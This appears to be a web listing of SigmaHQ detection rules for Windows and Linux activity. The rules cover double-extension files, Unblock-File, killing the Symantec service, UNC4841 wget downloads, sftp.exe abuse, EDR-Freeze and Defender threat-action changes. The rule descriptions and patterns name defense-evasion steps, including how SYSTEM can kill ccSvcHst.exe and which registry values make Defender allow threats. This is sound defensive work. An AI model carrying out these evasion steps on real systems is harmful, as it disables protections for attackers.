        TargetFilename|endswith:
            - '.rar.exe'
            - '.zip.exe'
    # Note: If you wanna keep using the ".lnk" extension. You might uncomment this filter and add additional locations
    # filter_main_lnk:
    #     TargetFilename|contains:
    #         - '\AppData\Roaming\Microsoft\Office\Recent\'
    #         - '\AppData\Roaming\Microsoft\Windows\Recent\'
    filter_icons_linux:
        TargetFilename|startswith: '/usr/share/icons/'
    condition: 1 of selection_* and not 1 of filter_*
falsepositives:
    - Unlikely
level: high
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_susp_double_extension/info.yml

Stages and Predicates

Stage 0: condition

1 of selection_* and not 1 of filter_*

Stage 1: selection_gen

selection_gen:
    TargetFilename|endswith:
        - '.exe'
        - '.iso'
        - '.rar'
        - '.svg'
        - '.zip'
    TargetFilename|contains:
        - '.doc.'
        - '.docx.'
        - '.gif.'
        - '.jpeg.'
        - '.jpg.'
        - '.mp3.'
        - '.mp4.'
        - '.pdf.'
        - '.png.'
        - '.ppt.'
        - '.pptx.'
        - '.rtf.'
        - '.svg.'
        - '.txt.'
        - '.xls.'
        - '.xlsx.'

Stage 2: selection_exe

selection_exe:
    TargetFilename|endswith:
        - '.rar.exe'
        - '.zip.exe'

Stage 3: not filter_icons_linux

filter_icons_linux:
    TargetFilename|startswith: '/usr/share/icons/'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • .exe corpus 21 (sigma 20, splunk 1)
  • .iso corpus 5 (sigma 5)
  • .rar corpus 5 (sigma 5)
  • .rar.exe
  • .svg corpus 2 (sigma 2)
  • .zip corpus 7 (sigma 6, splunk 1)
  • .zip.exe
field:"TargetFilename" kind:ends_with
TargetFilenamematch
  • .doc. corpus 3 (sigma 3)
  • .docx. corpus 3 (sigma 3)
  • .gif.
  • .jpeg. corpus 2 (sigma 2)
  • .jpg. corpus 3 (sigma 3)
  • .mp3.
  • .mp4.
  • .pdf. corpus 3 (sigma 3)
  • .png. corpus 2 (sigma 2)
  • .ppt. corpus 2 (sigma 2)
  • .pptx. corpus 2 (sigma 2)
  • .rtf. corpus 2 (sigma 2)
  • .svg.
  • .txt.
  • .xls. corpus 3 (sigma 3)
  • .xlsx. corpus 3 (sigma 3)
field:"TargetFilename" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
TargetFilenamestarts_with/usr/share/icons/excludes:TargetFilename field:"TargetFilename" value:"/usr/share/icons/"

Suspicious Unblock-File

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.

Known False Positives

  • Legitimate PowerShell scripts

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Unblock-File
id: 5947497f-1aa4-41dd-9693-c9848d58727d
status: test
description: Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream
    - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2
author: frack113
date: 2022-02-01
tags:
    - attack.defense-impairment
    - attack.t1553.005
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains|all:
            - 'Unblock-File '
            - '-Path '
    condition: selection
falsepositives:
    - Legitimate PowerShell scripts
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains|all:
        - 'Unblock-File '
        - '-Path '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • -Path corpus 3 (sigma 3)
  • Unblock-File
field:"ScriptBlockText" kind:match

Taskkill Symantec Endpoint Protection

#
Status
test
Severity
high
Author
Ilya Krestinichev, Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

Rule Body

title: Taskkill Symantec Endpoint Protection
id: 4a6713f6-3331-11ed-a261-0242ac120002
status: test
description: |
    Detects one of the possible scenarios for disabling Symantec Endpoint Protection.
    Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.
    As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.
references:
    - https://www.exploit-db.com/exploits/37525
    - https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection
    - https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer
author: Ilya Krestinichev, Florian Roth (Nextron Systems)
date: 2022-09-13
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'taskkill'
            - ' /F '
            - ' /IM '
            - 'ccSvcHst.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains|all:
        - 'taskkill'
        - ' /F '
        - ' /IM '
        - 'ccSvcHst.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /F corpus 5 (sigma 5)
  • /IM corpus 2 (sigma 2)
  • ccSvcHst.exe
  • taskkill corpus 3 (sigma 2, splunk 1)
field:"CommandLine" kind:match

UNC4841 - Download Tar File From Untrusted Direct IP Via Wget

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: UNC4841 - Download Tar File From Untrusted Direct IP Via Wget
id: 23835beb-ec38-4e74-a5d4-b99af6684e91
status: test
description: Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.
references:
    - https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-06-16
tags:
    - attack.stealth
    - attack.t1140
    - detection.emerging-threats
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith: '/wget'
        CommandLine|re: 'https://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
        CommandLine|contains: '--no-check-certificate'
        CommandLine|endswith: '.tar'
    filter_main_local_ips:
        # Note: Uncomment this filter if you want to exclude local IPs
        CommandLine|contains:
            - 'https://10.' # 10.0.0.0/8
            - 'https://192.168.' # 192.168.0.0/16
            - 'https://172.16.' # 172.16.0.0/12
            - 'https://172.17.'
            - 'https://172.18.'
            - 'https://172.19.'
            - 'https://172.20.'
            - 'https://172.21.'
            - 'https://172.22.'
            - 'https://172.23.'
            - 'https://172.24.'
            - 'https://172.25.'
            - 'https://172.26.'
            - 'https://172.27.'
            - 'https://172.28.'
            - 'https://172.29.'
            - 'https://172.30.'
            - 'https://172.31.'
            - 'https://127.' # 127.0.0.0/8
            - 'https://169.254.' # 169.254.0.0/16
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    Image|endswith: '/wget'
    CommandLine|re: 'https://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
    CommandLine|contains: '--no-check-certificate'
    CommandLine|endswith: '.tar'

Stage 2: not filter_main_local_ips

filter_main_local_ips:
    CommandLine|contains:
        - 'https://10.'
        - 'https://192.168.'
        - 'https://172.16.'
        - 'https://172.17.'
        - 'https://172.18.'
        - 'https://172.19.'
        - 'https://172.20.'
        - 'https://172.21.'
        - 'https://172.22.'
        - 'https://172.23.'
        - 'https://172.24.'
        - 'https://172.25.'
        - 'https://172.26.'
        - 'https://172.27.'
        - 'https://172.28.'
        - 'https://172.29.'
        - 'https://172.30.'
        - 'https://172.31.'
        - 'https://127.'
        - 'https://169.254.'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematchhttps://10.excludes:CommandLine field:"CommandLine" value:"https://10."
CommandLinematchhttps://127.excludes:CommandLine field:"CommandLine" value:"https://127."
CommandLinematchhttps://169.254.excludes:CommandLine field:"CommandLine" value:"https://169.254."
CommandLinematchhttps://172.16.excludes:CommandLine field:"CommandLine" value:"https://172.16."
CommandLinematchhttps://172.17.excludes:CommandLine field:"CommandLine" value:"https://172.17."
CommandLinematchhttps://172.18.excludes:CommandLine field:"CommandLine" value:"https://172.18."
CommandLinematchhttps://172.19.excludes:CommandLine field:"CommandLine" value:"https://172.19."
CommandLinematchhttps://172.20.excludes:CommandLine field:"CommandLine" value:"https://172.20."
CommandLinematchhttps://172.21.excludes:CommandLine field:"CommandLine" value:"https://172.21."
CommandLinematchhttps://172.22.excludes:CommandLine field:"CommandLine" value:"https://172.22."
CommandLinematchhttps://172.23.excludes:CommandLine field:"CommandLine" value:"https://172.23."
CommandLinematchhttps://172.24.excludes:CommandLine field:"CommandLine" value:"https://172.24."
CommandLinematchhttps://172.25.excludes:CommandLine field:"CommandLine" value:"https://172.25."
CommandLinematchhttps://172.26.excludes:CommandLine field:"CommandLine" value:"https://172.26."
CommandLinematchhttps://172.27.excludes:CommandLine field:"CommandLine" value:"https://172.27."
CommandLinematchhttps://172.28.excludes:CommandLine field:"CommandLine" value:"https://172.28."
CommandLinematchhttps://172.29.excludes:CommandLine field:"CommandLine" value:"https://172.29."
CommandLinematchhttps://172.30.excludes:CommandLine field:"CommandLine" value:"https://172.30."
CommandLinematchhttps://172.31.excludes:CommandLine field:"CommandLine" value:"https://172.31."
CommandLinematchhttps://192.168.excludes:CommandLine field:"CommandLine" value:"https://192.168."

Use Of The SFTP.EXE Binary As A LOLBIN

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Use Of The SFTP.EXE Binary As A LOLBIN
id: a85ffc3a-e8fd-4040-93bf-78aff284d801
status: test
description: Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag
references:
    - https://github.com/LOLBAS-Project/LOLBAS/pull/264
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-11-10
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\sftp.exe' # The "sftp.exe" located in the OpenSSH directory has no OriginalFileName :(
        CommandLine|contains:
            # Since "-D" is a valid flag for other usage we assume the user is going to enter a path
            # Either a full one like "C:\Windows\System32\calc.exe" or a relative one "..\..\..\Windows\System32\calc.exe"
            # In my testing you can't execute direct binaries by their name via this method (if you found a way please update the rule)
            - ' -D ..'
            - ' -D C:\'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\sftp.exe'
    CommandLine|contains:
        - ' -D ..'
        - ' -D C:\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -D ..
  • -D C:\
field:"CommandLine" kind:match
Imageends_with
  • \sftp.exe corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"\sftp.exe"

User Discovery And Export Via Get-ADUser Cmdlet

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

Known False Positives

  • Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: User Discovery And Export Via Get-ADUser Cmdlet
id: 1114e048-b69c-4f41-bc20-657245ae6e3f
related:
    - id: c2993223-6da8-4b1a-88ee-668b8bf315e9
      type: similar
status: test
description: Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file
references:
    - http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
    - https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-09
modified: 2022-11-17
tags:
    - attack.discovery
    - attack.t1033
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - 'Get-ADUser '
            - ' -Filter \*'
        CommandLine|contains:
            - ' > '
            - ' | Select '
            - 'Out-File'
            - 'Set-Content'
            - 'Add-Content'
    condition: all of selection_*
falsepositives:
    - Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell.EXE'
          - 'pwsh.dll'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - 'Get-ADUser '
        - ' -Filter \*'
    CommandLine|contains:
        - ' > '
        - ' | Select '
        - 'Out-File'
        - 'Set-Content'
        - 'Add-Content'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -Filter \* corpus 2 (sigma 2)
  • > corpus 5 (sigma 5)
  • | Select corpus 2 (sigma 2)
  • Add-Content corpus 2 (sigma 2)
  • Get-ADUser
  • Out-File corpus 3 (sigma 3)
  • Set-Content corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
field:"Image" kind:ends_with
OriginalFileNameeq
  • PowerShell.EXE corpus 134 (sigma 86, splunk 30, elastic 18)
  • pwsh.dll corpus 115 (sigma 81, splunk 30, elastic 4)
field:"OriginalFileName" kind:eq

WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze

#
Status
experimental
Severity
medium
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the loading of dbgcore.dll or dbghelp.dll by WerFaultSecure.exe, which has been observed in EDR-Freeze attacks to suspend processes and evade detection. However, this behavior has also been observed during normal software installations, so further investigation is required to confirm malicious activity. When threat hunting, look for this activity in conjunction with other suspicious processes starting, network connections, or file modifications that occur shortly after the DLL load. Pay special attention to timing - if other malicious activities occur during or immediately after this library loading, it may indicate EDR evasion attempts. Also correlate with any EDR/AV process suspension events or gaps in security monitoring during the timeframe.

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze
id: 8a2f4b1c-3d5e-4f7a-9b2c-1e4f6d8a9c2b
related:
    - id: 387df17d-3b04-448f-8669-9e7fd5e5fd8c
      type: similar
    - id: 1f0b4cac-9c81-41f4-95d0-8475ff46b3e2
      type: similar
status: experimental
description: |
    Detects the loading of dbgcore.dll or dbghelp.dll by WerFaultSecure.exe, which has been observed in EDR-Freeze attacks to suspend processes and evade detection.
    However, this behavior has also been observed during normal software installations, so further investigation is required to confirm malicious activity.
    When threat hunting, look for this activity in conjunction with other suspicious processes starting, network connections, or file modifications that occur shortly after the DLL load.
    Pay special attention to timing - if other malicious activities occur during or immediately after this library loading, it may indicate EDR evasion attempts.
    Also correlate with any EDR/AV process suspension events or gaps in security monitoring during the timeframe.
references:
    - https://github.com/TwoSevenOneT/EDR-Freeze
    - https://blog.axelarator.net/hunting-for-edr-freeze/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-27
modified: 2026-01-09
tags:
    - attack.defense-impairment
    - attack.t1685
    - detection.threat-hunting
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\WerFaultSecure.exe'
        ImageLoaded|endswith:
            - '\dbgcore.dll'
            - '\dbghelp.dll'
    condition: selection
falsepositives:
    - Unknown
level: medium
regression_tests_path: regression_data/rules-threat-hunting/windows/image_load/image_load_win_werfaultsecure_dbgcore_dbghelp_load/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\WerFaultSecure.exe'
    ImageLoaded|endswith:
        - '\dbgcore.dll'
        - '\dbghelp.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \WerFaultSecure.exe corpus 3 (sigma 3)
field:"Image" kind:ends_with value:"\WerFaultSecure.exe"
ImageLoadedends_with
  • \dbgcore.dll corpus 6 (sigma 6)
  • \dbghelp.dll corpus 6 (sigma 6)
field:"ImageLoaded" kind:ends_with

Windows Defender AMSI Trigger Detected

#
Status
stable
Severity
high
Author
Bhabesh Raj
Source
github.com/SigmaHQ/sigma

Detects triggering of AMSI by Windows Defender.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Windows Defender AMSI Trigger Detected
id: ea9bf0fa-edec-4fb8-8b78-b119f2528186
status: stable
description: Detects triggering of AMSI by Windows Defender.
references:
    - https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
author: Bhabesh Raj
date: 2020-09-14
modified: 2022-12-07
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    service: windefend
detection:
    selection:
        EventID: 1116 # The antimalware platform detected malware or other potentially unwanted software.
        SourceName: 'AMSI'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 1116
    SourceName: 'AMSI'

Indicators

These rows show field, operator, and value matches.

Windows Defender Threat Severity Default Action Modified

#
Status
experimental
Severity
high
Author
Matt Anderson (Huntress)
Source
github.com/SigmaHQ/sigma

Detects modifications or creations of Windows Defender's default threat action settings based on severity to 'allow' or take 'no action'. This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level, allowing malicious software to run unimpeded. An attacker might use this technique to bypass defenses before executing payloads.

Known False Positives

  • Legitimate administration via scripts or tools (e.g., SCCM, Intune, GPO enforcement). Correlate with administrative activity.
  • Software installations that legitimately modify Defender settings (less common for these specific keys).

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

Rule Body

title: Windows Defender Threat Severity Default Action Modified
id: 5a9e1b2c-8f7d-4a1e-9b3c-0f6d7e5a4b1f
related:
    - id: 1e8a9b4d-3c2a-4f9b-8d1e-7c6a5b4f3d2e
      type: similar
status: experimental
description: |
    Detects modifications or creations of Windows Defender's default threat action settings based on severity to 'allow' or take 'no action'.
    This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level,
    allowing malicious software to run unimpeded. An attacker might use this technique to bypass defenses before executing payloads.
references:
    - https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference
    - https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-threatseveritydefaultaction
    - https://research.splunk.com/endpoint/7215831c-8252-4ae3-8d43-db588e82f952
    - https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2
    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
author: 'Matt Anderson (Huntress)'
date: 2025-07-11
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: '\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\'
        TargetObject|endswith:
            - '\1' # Low severity
            - '\2' # Moderate severity
            - '\4' # High severity
            - '\5' # Severe severity
        Details:
            - 'DWORD (0x00000006)' # Allow
            - 'DWORD (0x00000009)' # NoAction
    condition: selection
falsepositives:
    - Legitimate administration via scripts or tools (e.g., SCCM, Intune, GPO enforcement). Correlate with administrative activity.
    - Software installations that legitimately modify Defender settings (less common for these specific keys).
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains: '\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\'
    TargetObject|endswith:
        - '\1'
        - '\2'
        - '\4'
        - '\5'
    Details:
        - 'DWORD (0x00000006)'
        - 'DWORD (0x00000009)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailseq
  • DWORD (0x00000006)
  • DWORD (0x00000009)
field:"Details" kind:eq
TargetObjectends_with
  • \1
  • \2
  • \4
  • \5
field:"TargetObject" kind:ends_with
TargetObjectmatch
  • \Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\
field:"TargetObject" kind:match value:"\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\"

WinSock2 Autorun Keys Modification

#
Status
test
Severity
medium
Author
Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)
Source
github.com/SigmaHQ/sigma

Detects modification of autostart extensibility point (ASEP) in registry.

Known False Positives

  • Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason
  • Legitimate administrator sets up autorun keys for legitimate reason

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: WinSock2 Autorun Keys Modification
id: d6c2ce7e-afb5-4337-9ca4-4b5254ed0565
related:
    - id: 17f878b8-9968-4578-b814-c4217fc5768c
      type: derived
status: test
description: Detects modification of autostart extensibility point (ASEP) in registry.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
    - https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
    - https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d # a list with registry keys
author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)
date: 2019-10-25
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    winsock_parameters_base:
        TargetObject|contains: '\System\CurrentControlSet\Services\WinSock2\Parameters'
    winsock_parameters:
        TargetObject|contains:
            - '\Protocol_Catalog9\Catalog_Entries'
            - '\NameSpace_Catalog5\Catalog_Entries'
    filter:
        - Details: '(Empty)'
        - Image: 'C:\Windows\System32\MsiExec.exe'
        - Image: 'C:\Windows\syswow64\MsiExec.exe'
    condition: winsock_parameters_base and winsock_parameters and not filter
falsepositives:
    - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason
    - Legitimate administrator sets up autorun keys for legitimate reason
level: medium

Stages and Predicates

Stage 0: condition

winsock_parameters_base and winsock_parameters and not filter

Stage 1: winsock_parameters_base

winsock_parameters_base:
    TargetObject|contains: '\System\CurrentControlSet\Services\WinSock2\Parameters'

Stage 2: winsock_parameters

winsock_parameters:
    TargetObject|contains:
        - '\Protocol_Catalog9\Catalog_Entries'
        - '\NameSpace_Catalog5\Catalog_Entries'

Stage 3: not filter

filter:
    - Details: '(Empty)'
    - Image: 'C:\Windows\System32\MsiExec.exe'
    - Image: 'C:\Windows\syswow64\MsiExec.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjectmatch
  • \NameSpace_Catalog5\Catalog_Entries
  • \Protocol_Catalog9\Catalog_Entries
  • \System\CurrentControlSet\Services\WinSock2\Parameters
field:"TargetObject" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Detailseq(Empty)excludes:Details field:"Details" value:"(Empty)"
ImageeqC:\Windows\System32\MsiExec.exeexcludes:Image field:"Image" value:"C:\Windows\System32\MsiExec.exe"
ImageeqC:\Windows\syswow64\MsiExec.exeexcludes:Image field:"Image" value:"C:\Windows\syswow64\MsiExec.exe"

Back to all Sigma rules